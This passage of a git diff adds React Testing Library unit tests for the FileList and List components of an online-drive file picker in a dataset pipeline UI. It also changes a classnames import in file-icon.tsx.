+      expect(wrapper).toHaveClass('flex-col')
+      expect(wrapper).toHaveClass('overflow-hidden')
+      expect(wrapper).toHaveClass('rounded-xl')
+    })
+
+    it('should render Header component with search input', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+      expect(input).toBeInTheDocument()
+    })
+
+    it('should render files when fileList has items', () => {
+      // Arrange
+      const fileList = [
+        createMockOnlineDriveFile({ id: 'file-1', name: 'file1.txt' }),
+        createMockOnlineDriveFile({ id: 'file-2', name: 'file2.txt' }),
+      ]
+      const props = createDefaultProps({ fileList })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      expect(screen.getByText('file1.txt')).toBeInTheDocument()
+      expect(screen.getByText('file2.txt')).toBeInTheDocument()
+    })
+
+    it('should show loading state when isLoading is true and fileList is empty', () => {
+      // Arrange
+      const props = createDefaultProps({ isLoading: true, fileList: [] })
+
+      // Act
+      const { container } = render(<FileList {...props} />)
+
+      // Assert - Loading component should be rendered with spin-animation class
+      expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+    })
+
+    it('should show empty folder state when not loading and fileList is empty', () => {
+      // Arrange
+      const props = createDefaultProps({ isLoading: false, fileList: [], keywords: '' })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.onlineDrive.emptyFolder')).toBeInTheDocument()
+    })
+
+    it('should show empty search result when not loading, fileList is empty, and keywords exist', () => {
+      // Arrange
+      const props = createDefaultProps({ isLoading: false, fileList: [], keywords: 'search-term' })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetPipeline.onlineDrive.emptySearchResult')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('fileList prop', () => {
+      it('should render all files from fileList', () => {
+        // Arrange
+        const fileList = [
+          createMockOnlineDriveFile({ id: '1', name: 'a.txt' }),
+          createMockOnlineDriveFile({ id: '2', name: 'b.txt' }),
+          createMockOnlineDriveFile({ id: '3', name: 'c.txt' }),
+        ]
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<FileList {...props} />)
+
+        // Assert
+        expect(screen.getByText('a.txt')).toBeInTheDocument()
+        expect(screen.getByText('b.txt')).toBeInTheDocument()
+        expect(screen.getByText('c.txt')).toBeInTheDocument()
+      })
+
+      it('should handle empty fileList', () => {
+        // Arrange
+        const props = createDefaultProps({ fileList: [] })
+
+        // Act
+        render(<FileList {...props} />)
+
+        // Assert - Should show empty folder state
+        expect(screen.getByText('datasetPipeline.onlineDrive.emptyFolder')).toBeInTheDocument()
+      })
+    })
+
+    describe('selectedFileIds prop', () => {
+      it('should mark files as selected based on selectedFileIds', () => {
+        // Arrange
+        const fileList = [
+          createMockOnlineDriveFile({ id: 'file-1', name: 'file1.txt' }),
+          createMockOnlineDriveFile({ id: 'file-2', name: 'file2.txt' }),
+        ]
+        const props = createDefaultProps({ fileList, selectedFileIds: ['file-1'] })
+
+        // Act
+        render(<FileList {...props} />)
+
+        // Assert - The checkbox for file-1 should be checked (check icon present)
+        expect(screen.getByTestId('checkbox-file-1')).toBeInTheDocument()
+        expect(screen.getByTestId('check-icon-file-1')).toBeInTheDocument()
+        expect(screen.getByTestId('checkbox-file-2')).toBeInTheDocument()
+        expect(screen.queryByTestId('check-icon-file-2')).not.toBeInTheDocument()
+      })
+    })
+
+    describe('keywords prop', () => {
+      it('should initialize input with keywords value', () => {
+        // Arrange
+        const props = createDefaultProps({ keywords: 'my-search' })
+
+        // Act
+        render(<FileList {...props} />)
+
+        // Assert
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+        expect(input).toHaveValue('my-search')
+      })
+    })
+
+    describe('isLoading prop', () => {
+      it('should show loading when isLoading is true with empty list', () => {
+        // Arrange
+        const props = createDefaultProps({ isLoading: true, fileList: [] })
+
+        // Act
+        const { container } = render(<FileList {...props} />)
+
+        // Assert - Loading component with spin-animation class
+        expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+      })
+
+      it('should show loading indicator at bottom when isLoading is true with files', () => {
+        // Arrange
+        const fileList = [createMockOnlineDriveFile()]
+        const props = createDefaultProps({ isLoading: true, fileList })
+
+        // Act
+        const { container } = render(<FileList {...props} />)
+
+        // Assert - Should show spinner icon at the bottom
+        expect(container.querySelector('.animation-spin')).toBeInTheDocument()
+      })
+    })
+
+    describe('supportBatchUpload prop', () => {
+      it('should render checkboxes when supportBatchUpload is true', () => {
+        // Arrange
+        const fileList = [createMockOnlineDriveFile({ id: 'file-1', name: 'file1.txt' })]
+        const props = createDefaultProps({ fileList, supportBatchUpload: true })
+
+        // Act
+        render(<FileList {...props} />)
+
+        // Assert - Checkbox component has data-testid="checkbox-{id}"
+        expect(screen.getByTestId('checkbox-file-1')).toBeInTheDocument()
+      })
+
+      it('should render radio buttons when supportBatchUpload is false', () => {
+        // Arrange
+        const fileList = [createMockOnlineDriveFile({ id: 'file-1', name: 'file1.txt' })]
+        const props = createDefaultProps({ fileList, supportBatchUpload: false })
+
+        // Act
+        const { container } = render(<FileList {...props} />)
+
+        // Assert - Radio is rendered as a div with rounded-full class
+        expect(container.querySelector('.rounded-full')).toBeInTheDocument()
+        // And checkbox should not be present
+        expect(screen.queryByTestId('checkbox-file-1')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // State Management Tests
+  // ==========================================
+  describe('State Management', () => {
+    describe('inputValue state', () => {
+      it('should initialize inputValue with keywords prop', () => {
+        // Arrange
+        const props = createDefaultProps({ keywords: 'initial-keyword' })
+
+        // Act
+        render(<FileList {...props} />)
+
+        // Assert
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+        expect(input).toHaveValue('initial-keyword')
+      })
+
+      it('should update inputValue when input changes', () => {
+        // Arrange
+        const props = createDefaultProps({ keywords: '' })
+        render(<FileList {...props} />)
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+        // Act
+        fireEvent.change(input, { target: { value: 'new-value' } })
+
+        // Assert
+        expect(input).toHaveValue('new-value')
+      })
+    })
+
+    describe('debounced keywords update', () => {
+      it('should call updateKeywords with debounce when input changes', () => {
+        // Arrange
+        const mockUpdateKeywords = jest.fn()
+        const props = createDefaultProps({ updateKeywords: mockUpdateKeywords })
+        render(<FileList {...props} />)
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+        // Act
+        fireEvent.change(input, { target: { value: 'debounced-value' } })
+
+        // Assert
+        expect(mockDebounceFnRun).toHaveBeenCalledWith('debounced-value')
+      })
+    })
+  })
+
+  // ==========================================
+  // Event Handlers Tests
+  // ==========================================
+  describe('Event Handlers', () => {
+    describe('handleInputChange', () => {
+      it('should update inputValue on input change', () => {
+        // Arrange
+        const props = createDefaultProps()
+        render(<FileList {...props} />)
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+        // Act
+        fireEvent.change(input, { target: { value: 'typed-text' } })
+
+        // Assert
+        expect(input).toHaveValue('typed-text')
+      })
+
+      it('should trigger debounced updateKeywords on input change', () => {
+        // Arrange
+        const mockUpdateKeywords = jest.fn()
+        const props = createDefaultProps({ updateKeywords: mockUpdateKeywords })
+        render(<FileList {...props} />)
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+        // Act
+        fireEvent.change(input, { target: { value: 'search-term' } })
+
+        // Assert
+        expect(mockDebounceFnRun).toHaveBeenCalledWith('search-term')
+      })
+
+      it('should handle multiple sequential input changes', () => {
+        // Arrange
+        const mockUpdateKeywords = jest.fn()
+        const props = createDefaultProps({ updateKeywords: mockUpdateKeywords })
+        render(<FileList {...props} />)
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+        // Act
+        fireEvent.change(input, { target: { value: 'a' } })
+        fireEvent.change(input, { target: { value: 'ab' } })
+        fireEvent.change(input, { target: { value: 'abc' } })
+
+        // Assert
+        expect(mockDebounceFnRun).toHaveBeenCalledTimes(3)
+        expect(mockDebounceFnRun).toHaveBeenLastCalledWith('abc')
+        expect(input).toHaveValue('abc')
+      })
+    })
+
+    describe('handleResetKeywords', () => {
+      it('should call resetKeywords prop when clear button is clicked', () => {
+        // Arrange
+        const mockResetKeywords = jest.fn()
+        const props = createDefaultProps({ resetKeywords: mockResetKeywords, keywords: 'to-reset' })
+        const { container } = render(<FileList {...props} />)
+
+        // Act - Click the clear icon div (it contains RiCloseCircleFill icon)
+        const clearButton = container.querySelector('[class*="cursor-pointer"] svg[class*="h-3.5"]')?.parentElement
+        expect(clearButton).toBeInTheDocument()
+        fireEvent.click(clearButton!)
+
+        // Assert
+        expect(mockResetKeywords).toHaveBeenCalledTimes(1)
+      })
+
+      it('should reset inputValue to empty string when clear is clicked', () => {
+        // Arrange
+        const props = createDefaultProps({ keywords: 'to-be-reset' })
+        const { container } = render(<FileList {...props} />)
+        const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+        fireEvent.change(input, { target: { value: 'some-search' } })
+
+        // Act - Find and click the clear icon
+        const clearButton = container.querySelector('[class*="cursor-pointer"] svg[class*="h-3.5"]')?.parentElement
+        expect(clearButton).toBeInTheDocument()
+        fireEvent.click(clearButton!)
+
+        // Assert
+        expect(input).toHaveValue('')
+      })
+    })
+
+    describe('handleSelectFile', () => {
+      it('should call handleSelectFile when file item is clicked', () => {
+        // Arrange
+        const mockHandleSelectFile = jest.fn()
+        const fileList = [createMockOnlineDriveFile({ id: 'file-1', name: 'test.txt' })]
+        const props = createDefaultProps({ handleSelectFile: mockHandleSelectFile, fileList })
+        render(<FileList {...props} />)
+
+        // Act - Click on the file item
+        const fileItem = screen.getByText('test.txt')
+        fireEvent.click(fileItem.closest('[class*="cursor-pointer"]')!)
+
+        // Assert
+        expect(mockHandleSelectFile).toHaveBeenCalledWith(expect.objectContaining({
+          id: 'file-1',
+          name: 'test.txt',
+          type: OnlineDriveFileType.file,
+        }))
+      })
+    })
+
+    describe('handleOpenFolder', () => {
+      it('should call handleOpenFolder when folder item is clicked', () => {
+        // Arrange
+        const mockHandleOpenFolder = jest.fn()
+        const fileList = [createMockOnlineDriveFile({ id: 'folder-1', name: 'my-folder', type: OnlineDriveFileType.folder })]
+        const props = createDefaultProps({ handleOpenFolder: mockHandleOpenFolder, fileList })
+        render(<FileList {...props} />)
+
+        // Act - Click on the folder item
+        const folderItem = screen.getByText('my-folder')
+        fireEvent.click(folderItem.closest('[class*="cursor-pointer"]')!)
+
+        // Assert
+        expect(mockHandleOpenFolder).toHaveBeenCalledWith(expect.objectContaining({
+          id: 'folder-1',
+          name: 'my-folder',
+          type: OnlineDriveFileType.folder,
+        }))
+      })
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle empty string keywords', () => {
+      // Arrange
+      const props = createDefaultProps({ keywords: '' })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+      expect(input).toHaveValue('')
+    })
+
+    it('should handle special characters in keywords', () => {
+      // Arrange
+      const specialChars = 'test[file].txt (copy)'
+      const props = createDefaultProps({ keywords: specialChars })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+      expect(input).toHaveValue(specialChars)
+    })
+
+    it('should handle unicode characters in keywords', () => {
+      // Arrange
+      const unicodeKeywords = '文件搜索 日本語'
+      const props = createDefaultProps({ keywords: unicodeKeywords })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+      expect(input).toHaveValue(unicodeKeywords)
+    })
+
+    it('should handle very long file names in fileList', () => {
+      // Arrange
+      const longName = `${'a'.repeat(100)}.txt`
+      const fileList = [createMockOnlineDriveFile({ id: '1', name: longName })]
+      const props = createDefaultProps({ fileList })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      expect(screen.getByText(longName)).toBeInTheDocument()
+    })
+
+    it('should handle large number of files', () => {
+      // Arrange
+      const fileList = Array.from({ length: 50 }, (_, i) =>
+        createMockOnlineDriveFile({ id: `file-${i}`, name: `file-${i}.txt` }),
+      )
+      const props = createDefaultProps({ fileList })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert - Check a few files exist
+      expect(screen.getByText('file-0.txt')).toBeInTheDocument()
+      expect(screen.getByText('file-49.txt')).toBeInTheDocument()
+    })
+
+    it('should handle whitespace-only keywords input', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<FileList {...props} />)
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+
+      // Act
+      fireEvent.change(input, { target: { value: '   ' } })
+
+      // Assert
+      expect(input).toHaveValue('   ')
+      expect(mockDebounceFnRun).toHaveBeenCalledWith('   ')
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations Tests
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      { isInPipeline: true, supportBatchUpload: true },
+      { isInPipeline: true, supportBatchUpload: false },
+      { isInPipeline: false, supportBatchUpload: true },
+      { isInPipeline: false, supportBatchUpload: false },
+    ])('should render correctly with isInPipeline=$isInPipeline and supportBatchUpload=$supportBatchUpload', (propVariation) => {
+      // Arrange
+      const props = createDefaultProps(propVariation)
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert - Component should render without crashing
+      expect(screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')).toBeInTheDocument()
+    })
+
+    it.each([
+      { isLoading: true, fileCount: 0, description: 'loading state with no files' },
+      { isLoading: false, fileCount: 0, description: 'not loading with no files' },
+      { isLoading: false, fileCount: 3, description: 'not loading with files' },
+    ])('should handle $description correctly', ({ isLoading, fileCount }) => {
+      // Arrange
+      const fileList = Array.from({ length: fileCount }, (_, i) =>
+        createMockOnlineDriveFile({ id: `file-${i}`, name: `file-${i}.txt` }),
+      )
+      const props = createDefaultProps({ isLoading, fileList })
+
+      // Act
+      const { container } = render(<FileList {...props} />)
+
+      // Assert
+      if (isLoading && fileCount === 0)
+        expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+
+      else if (!isLoading && fileCount === 0)
+        expect(screen.getByText('datasetPipeline.onlineDrive.emptyFolder')).toBeInTheDocument()
+
+      else
+        expect(screen.getByText('file-0.txt')).toBeInTheDocument()
+    })
+
+    it.each([
+      { keywords: '', searchResultsLength: 0 },
+      { keywords: 'test', searchResultsLength: 5 },
+      { keywords: 'not-found', searchResultsLength: 0 },
+    ])('should render correctly with keywords="$keywords" and searchResultsLength=$searchResultsLength', ({ keywords, searchResultsLength }) => {
+      // Arrange
+      const props = createDefaultProps({ keywords, searchResultsLength })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      const input = screen.getByPlaceholderText('datasetPipeline.onlineDrive.breadcrumbs.searchPlaceholder')
+      expect(input).toHaveValue(keywords)
+    })
+  })
+
+  // ==========================================
+  // File Type Variations
+  // ==========================================
+  describe('File Type Variations', () => {
+    it('should render folder type correctly', () => {
+      // Arrange
+      const fileList = [createMockOnlineDriveFile({ id: 'folder-1', name: 'my-folder', type: OnlineDriveFileType.folder })]
+      const props = createDefaultProps({ fileList })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      expect(screen.getByText('my-folder')).toBeInTheDocument()
+    })
+
+    it('should render bucket type correctly', () => {
+      // Arrange
+      const fileList = [createMockOnlineDriveFile({ id: 'bucket-1', name: 'my-bucket', type: OnlineDriveFileType.bucket })]
+      const props = createDefaultProps({ fileList })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      expect(screen.getByText('my-bucket')).toBeInTheDocument()
+    })
+
+    it('should render file with size', () => {
+      // Arrange
+      const fileList = [createMockOnlineDriveFile({ id: 'file-1', name: 'test.txt', size: 1024 })]
+      const props = createDefaultProps({ fileList })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      expect(screen.getByText('test.txt')).toBeInTheDocument()
+      // formatFileSize returns '1.00 KB' for 1024 bytes
+      expect(screen.getByText('1.00 KB')).toBeInTheDocument()
+    })
+
+    it('should not show checkbox for bucket type', () => {
+      // Arrange
+      const fileList = [createMockOnlineDriveFile({ id: 'bucket-1', name: 'my-bucket', type: OnlineDriveFileType.bucket })]
+      const props = createDefaultProps({ fileList, supportBatchUpload: true })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert - No checkbox should be rendered for bucket
+      expect(screen.queryByRole('checkbox')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Search Results Display
+  // ==========================================
+  describe('Search Results Display', () => {
+    it('should show search results count when keywords and results exist', () => {
+      // Arrange
+      const props = createDefaultProps({
+        keywords: 'test',
+        searchResultsLength: 5,
+        breadcrumbs: ['folder1'],
+      })
+
+      // Act
+      render(<FileList {...props} />)
+
+      // Assert
+      expect(screen.getByText(/datasetPipeline\.onlineDrive\.breadcrumbs\.searchResult/)).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Callback Stability
+  // ==========================================
+  describe('Callback Stability', () => {
+    it('should maintain stable handleSelectFile callback', () => {
+      // Arrange
+      const mockHandleSelectFile = jest.fn()
+      const fileList = [createMockOnlineDriveFile({ id: 'file-1', name: 'test.txt' })]
+      const props = createDefaultProps({ handleSelectFile: mockHandleSelectFile, fileList })
+      const { rerender } = render(<FileList {...props} />)
+
+      // Act - Click once
+      const fileItem = screen.getByText('test.txt')
+      fireEvent.click(fileItem.closest('[class*="cursor-pointer"]')!)
+
+      // Rerender with same props
+      rerender(<FileList {...props} />)
+
+      // Click again
+      fireEvent.click(fileItem.closest('[class*="cursor-pointer"]')!)
+
+      // Assert
+      expect(mockHandleSelectFile).toHaveBeenCalledTimes(2)
+    })
+
+    it('should maintain stable handleOpenFolder callback', () => {
+      // Arrange
+      const mockHandleOpenFolder = jest.fn()
+      const fileList = [createMockOnlineDriveFile({ id: 'folder-1', name: 'my-folder', type: OnlineDriveFileType.folder })]
+      const props = createDefaultProps({ handleOpenFolder: mockHandleOpenFolder, fileList })
+      const { rerender } = render(<FileList {...props} />)
+
+      // Act - Click once
+      const folderItem = screen.getByText('my-folder')
+      fireEvent.click(folderItem.closest('[class*="cursor-pointer"]')!)
+
+      // Rerender with same props
+      rerender(<FileList {...props} />)
+
+      // Click again
+      fireEvent.click(folderItem.closest('[class*="cursor-pointer"]')!)
+
+      // Assert
+      expect(mockHandleOpenFolder).toHaveBeenCalledTimes(2)
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/file-icon.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/file-icon.tsx
index e9e14f7e69..d4e710b297 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/file-icon.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/file-icon.tsx
@@ -3,7 +3,7 @@ import { OnlineDriveFileType } from '@/models/pipeline'
 import { BucketsBlue, Folder } from '@/app/components/base/icons/src/public/knowledge/online-drive'
 import FileTypeIcon from '@/app/components/base/file-uploader/file-type-icon'
 import { getFileType } from './utils'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type FileIconProps = {
   type: OnlineDriveFileType
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/index.spec.tsx
new file mode 100644
index 0000000000..9d27cff4cf
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/index.spec.tsx
@@ -0,0 +1,2071 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import List from './index'
+import type { OnlineDriveFile } from '@/models/pipeline'
+import { OnlineDriveFileType } from '@/models/pipeline'
+
+// ==========================================
+// Mock Modules
+// ==========================================
+
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+
+// Mock Loading component - base component with simple render
+jest.mock('@/app/components/base/loading', () => {
+  const MockLoading = ({ type }: { type?: string }) => (
+    <div data-testid="loading" data-type={type}>Loading...</div>
+  )
+  return MockLoading
+})
+
+// Mock Item component for List tests - child component with complex behavior
+jest.mock('./item', () => {
+  const MockItem = ({ file, isSelected, onSelect, onOpen, isMultipleChoice }: {
+    file: OnlineDriveFile
+    isSelected: boolean
+    onSelect: (file: OnlineDriveFile) => void
+    onOpen: (file: OnlineDriveFile) => void
+    isMultipleChoice: boolean
+  }) => {
+    return (
+      <div
+        data-testid={`item-${file.id}`}
+        data-selected={isSelected}
+        data-multiple-choice={isMultipleChoice}
+      >
+        <span data-testid={`item-name-${file.id}`}>{file.name}</span>
+        <button data-testid={`item-select-${file.id}`} onClick={() => onSelect(file)}>Select</button>
+        <button data-testid={`item-open-${file.id}`} onClick={() => onOpen(file)}>Open</button>
+      </div>
+    )
+  }
+  return MockItem
+})
+
+// Mock EmptyFolder component for List tests
+jest.mock('./empty-folder', () => {
+  const MockEmptyFolder = () => (
+    <div data-testid="empty-folder">Empty Folder</div>
+  )
+  return MockEmptyFolder
+})
+
+// Mock EmptySearchResult component for List tests
+jest.mock('./empty-search-result', () => {
+  const MockEmptySearchResult = ({ onResetKeywords }: { onResetKeywords: () => void }) => (
+    <div data-testid="empty-search-result">
+      <span>No results</span>
+      <button data-testid="reset-keywords-btn" onClick={onResetKeywords}>Reset</button>
+    </div>
+  )
+  return MockEmptySearchResult
+})
+
+// Mock store state and refs
+const mockIsTruncated = { current: false }
+const mockCurrentNextPageParametersRef = { current: {} as Record<string, any> }
+const mockSetNextPageParameters = jest.fn()
+
+const mockStoreState = {
+  isTruncated: mockIsTruncated,
+  currentNextPageParametersRef: mockCurrentNextPageParametersRef,
+  setNextPageParameters: mockSetNextPageParameters,
+}
+
+const mockGetState = jest.fn(() => mockStoreState)
+const mockDataSourceStore = { getState: mockGetState }
+
+jest.mock('../../../store', () => ({
+  useDataSourceStore: () => mockDataSourceStore,
+}))
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+const createMockOnlineDriveFile = (overrides?: Partial<OnlineDriveFile>): OnlineDriveFile => ({
+  id: 'file-1',
+  name: 'test-file.txt',
+  size: 1024,
+  type: OnlineDriveFileType.file,
+  ...overrides,
+})
+
+const createMockFileList = (count: number): OnlineDriveFile[] => {
+  return Array.from({ length: count }, (_, index) => createMockOnlineDriveFile({
+    id: `file-${index + 1}`,
+    name: `file-${index + 1}.txt`,
+    size: (index + 1) * 1024,
+  }))
+}
+
+type ListProps = React.ComponentProps<typeof List>
+
+const createDefaultProps = (overrides?: Partial<ListProps>): ListProps => ({
+  fileList: [],
+  selectedFileIds: [],
+  keywords: '',
+  isLoading: false,
+  supportBatchUpload: true,
+  handleResetKeywords: jest.fn(),
+  handleSelectFile: jest.fn(),
+  handleOpenFolder: jest.fn(),
+  ...overrides,
+})
+
+// ==========================================
+// Mock IntersectionObserver
+// ==========================================
+let mockIntersectionObserverCallback: IntersectionObserverCallback | null = null
+let mockIntersectionObserverInstance: {
+  observe: jest.Mock
+  disconnect: jest.Mock
+  unobserve: jest.Mock
+} | null = null
+
+const createMockIntersectionObserver = () => {
+  const instance = {
+    observe: jest.fn(),
+    disconnect: jest.fn(),
+    unobserve: jest.fn(),
+  }
+  mockIntersectionObserverInstance = instance
+
+  return class MockIntersectionObserver {
+    callback: IntersectionObserverCallback
+    options: IntersectionObserverInit
+
+    constructor(callback: IntersectionObserverCallback, options?: IntersectionObserverInit) {
+      this.callback = callback
+      this.options = options || {}
+      mockIntersectionObserverCallback = callback
+    }
+
+    observe = instance.observe
+    disconnect = instance.disconnect
+    unobserve = instance.unobserve
+  }
+}
+
+// ==========================================
+// Helper Functions
+// ==========================================
+const triggerIntersection = (isIntersecting: boolean) => {
+  if (mockIntersectionObserverCallback) {
+    const entries = [{
+      isIntersecting,
+      boundingClientRect: {} as DOMRectReadOnly,
+      intersectionRatio: isIntersecting ? 1 : 0,
+      intersectionRect: {} as DOMRectReadOnly,
+      rootBounds: null,
+      target: document.createElement('div'),
+      time: Date.now(),
+    }] as IntersectionObserverEntry[]
+    mockIntersectionObserverCallback(entries, {} as IntersectionObserver)
+  }
+}
+
+const resetMockStoreState = () => {
+  mockIsTruncated.current = false
+  mockCurrentNextPageParametersRef.current = {}
+  mockSetNextPageParameters.mockClear()
+  mockGetState.mockClear()
+}
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('List', () => {
+  const originalIntersectionObserver = window.IntersectionObserver
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    resetMockStoreState()
+    mockIntersectionObserverCallback = null
+    mockIntersectionObserverInstance = null
+
+    // Setup IntersectionObserver mock
+    window.IntersectionObserver = createMockIntersectionObserver() as unknown as typeof IntersectionObserver
+  })
+
+  afterEach(() => {
+    window.IntersectionObserver = originalIntersectionObserver
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<List {...props} />)
+
+      // Assert
+      expect(document.body).toBeInTheDocument()
+    })
+
+    it('should render Loading component when isAllLoading is true', () => {
+      // Arrange
+      const props = createDefaultProps({
+        isLoading: true,
+        fileList: [],
+        keywords: '',
+      })
+
+      // Act
+      render(<List {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('loading')).toBeInTheDocument()
+      expect(screen.getByTestId('loading')).toHaveAttribute('data-type', 'app')
+    })
+
+    it('should render EmptyFolder when folder is empty and not loading', () => {
+      // Arrange
+      const props = createDefaultProps({
+        isLoading: false,
+        fileList: [],
+        keywords: '',
+      })
+
+      // Act
+      render(<List {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('empty-folder')).toBeInTheDocument()
+    })
+
+    it('should render EmptySearchResult when search has no results', () => {
+      // Arrange
+      const props = createDefaultProps({
+        isLoading: false,
+        fileList: [],
+        keywords: 'non-existent-file',
+      })
+
+      // Act
+      render(<List {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('empty-search-result')).toBeInTheDocument()
+    })
+
+    it('should render file list when files exist', () => {
+      // Arrange
+      const fileList = createMockFileList(3)
+      const props = createDefaultProps({ fileList })
+
+      // Act
+      render(<List {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+      expect(screen.getByTestId('item-file-2')).toBeInTheDocument()
+      expect(screen.getByTestId('item-file-3')).toBeInTheDocument()
+    })
+
+    it('should render partial loading spinner when loading more files', () => {
+      // Arrange
+      const fileList = createMockFileList(2)
+      const props = createDefaultProps({
+        fileList,
+        isLoading: true,
+      })
+
+      // Act
+      const { container } = render(<List {...props} />)
+
+      // Assert - Should show files AND loading spinner (animation-spin class)
+      expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+      expect(container.querySelector('.animation-spin')).toBeInTheDocument()
+    })
+
+    it('should not render Loading component when partial loading', () => {
+      // Arrange
+      const fileList = createMockFileList(2)
+      const props = createDefaultProps({
+        fileList,
+        isLoading: true,
+      })
+
+      // Act
+      render(<List {...props} />)
+
+      // Assert - Full page loading should not appear
+      expect(screen.queryByTestId('loading')).not.toBeInTheDocument()
+    })
+
+    it('should render anchor div for infinite scroll', () => {
+      // Arrange
+      const fileList = createMockFileList(2)
+      const props = createDefaultProps({ fileList })
+
+      // Act
+      const { container } = render(<List {...props} />)
+
+      // Assert - Anchor div should exist with h-0 class
+      const anchorDiv = container.querySelector('.h-0')
+      expect(anchorDiv).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('fileList prop', () => {
+      it('should render all files from fileList', () => {
+        // Arrange
+        const fileList = createMockFileList(5)
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        fileList.forEach((file) => {
+          expect(screen.getByTestId(`item-${file.id}`)).toBeInTheDocument()
+          expect(screen.getByTestId(`item-name-${file.id}`)).toHaveTextContent(file.name)
+        })
+      })
+
+      it('should handle empty fileList', () => {
+        // Arrange
+        const props = createDefaultProps({ fileList: [] })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('empty-folder')).toBeInTheDocument()
+      })
+
+      it('should handle single file in fileList', () => {
+        // Arrange
+        const fileList = [createMockOnlineDriveFile()]
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+      })
+
+      it('should handle large fileList', () => {
+        // Arrange
+        const fileList = createMockFileList(100)
+        const props = createDefaultProps({ fileList })
+
+        // Act
+        render(<List {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('item-file-1')).toBeInTheDocument()
+        expect(screen.getByTestId('item-file-100')).toBeInTheDocument()
+      })
+    })
+
+    describe('selectedFileIds prop', () => {
+      it('should mark selected files as selected', () => {
+        // Arrange
+        const fileList = createMockFileList(3)
